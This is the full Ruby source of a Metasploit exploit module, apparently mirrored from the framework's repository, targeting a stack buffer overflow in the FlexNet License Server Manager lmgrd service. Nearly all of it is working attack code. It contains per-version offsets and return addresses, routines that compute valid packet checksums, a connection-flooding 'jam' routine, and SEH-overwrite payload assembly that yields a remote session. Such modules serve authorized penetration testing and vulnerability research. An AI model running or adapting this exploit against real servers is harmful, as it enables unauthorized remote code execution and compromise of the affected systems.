Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',14'Description' => %q{15This module exploits a vulnerability in the FlexNet16License Server Manager.1718The vulnerability is due to the insecure usage of memcpy19in the lmgrd service when handling network packets, which20results in a stack buffer overflow.2122In order to improve reliability, this module will make lots of23connections to lmgrd during each attempt to maximize its success.24},25'Author' =>26[27'Luigi Auriemma', # Vulnerability Discovery and PoC28'Alexander Gavrun', # Vulnerability Discovery29'juan vazquez', # Metasploit module30'sinn3r' # Metasploit module31],32'License' => MSF_LICENSE,33'References' =>34[35[ 'OSVDB', '81899' ],36[ 'BID', '52718' ],37[ 'ZDI', '12-052' ],38[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ],39[ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory40],41'Privileged' => true,42'DefaultOptions' =>43{44'EXITFUNC' => 'process'45},46'Payload' =>47{48'Space' => 400049},50'Platform' => 'win',51'Targets' =>52[53[ 'Debug', {} ],54[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',55{56'Offset' => 10476,57'ShellcodeOffset' => 5484,58'Ret' => 0x0047d01f # ppr from lmgrd.exe59}60],61[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',62{63'Offset' => 7324,64'ShellcodeOffset' => 2332,65'Ret' => 0x004eda91 # ppr from lmgrd.exe66}67],68[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',69{70'Offset' => 7320,71'ShellcodeOffset' => 2328,72'Ret' => 0x004eb2e1 # ppr from lmgrd.exe73}74],75],76'DefaultTarget' => 1,77'DisclosureDate' => '2012-03-23'))7879register_options(80[81Opt::RPORT(27000),82OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),83OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),84OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])85])86end8788def header_checksum(packet)89packet_bytes = packet.unpack("C*")90checksum = packet_bytes[0]91i = 292while i < 0x1493checksum = checksum + packet_bytes[i]94i = i + 195end96return (checksum & 0x0FF)97end9899def data_checksum(packet_data)100word_table = ""101i = 0102while i < 256103v4 = 0104v3 = i105j = 8106107while j > 0108if ((v4 ^ v3) & 1) == 1109v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF110else111v4 = (v4 >> 1) & 0x0FFFF112end113v3 >>= 1114j = j - 1115end116117word_table << [v4].pack("S")118i = i + 1119end120k = 0121checksum = 0122data_bytes = packet_data.unpack("C*")123word_table_words = word_table.unpack("S*")124while k < packet_data.length125position = data_bytes[k] ^ (checksum & 0x0FF)126checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF127k = k + 1128end129return checksum130end131132def create_packet(data)133pkt = "\x2f"134pkt << "\x00" # header checksum135pkt << "\x00\x00" # data checksum136pkt << "\x00\x00" # pkt length137pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"138pkt << data139140pkt[4,2] = [pkt.length].pack("n")141142data_sum = data_checksum(pkt[4, pkt.length - 4])143pkt[2, 2] = [data_sum].pack("n")144145hdr_sum = header_checksum(pkt[0, 20])146pkt[1] = [hdr_sum].pack("C")147148return pkt149end150151def jam152pkt = create_packet("")153154datastore['Jam'].times do155connect156sock.put(pkt)157disconnect158end159end160161def exploit162i = 1163while i <= datastore['Attempts'] and not session_created?164print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")165do_exploit166sleep(datastore['Wait'])167i = i + 1168end169170if not session_created?171print_error("Exploit didn't work after #{i} attempts")172end173end174175def do_exploit176t = framework.threads.spawn("jam", false) { jam }177my_payload = payload.encoded178179header_length = 20 # See create_packet() to understand this number180pkt_data = ""181if target.name =~ /Debug/182pkt_data << "a" * (65535 - header_length)183else184185pkt_data << rand_text(target['ShellcodeOffset'])186pkt_data << my_payload187pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length)188pkt_data << generate_seh_record(target.ret)189pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string190pkt_data << rand_text(65535 - pkt_data.length - header_length)191end192193pkt = create_packet(pkt_data)194195connect196sock.put(pkt)197handler198disconnect199end200end201202203204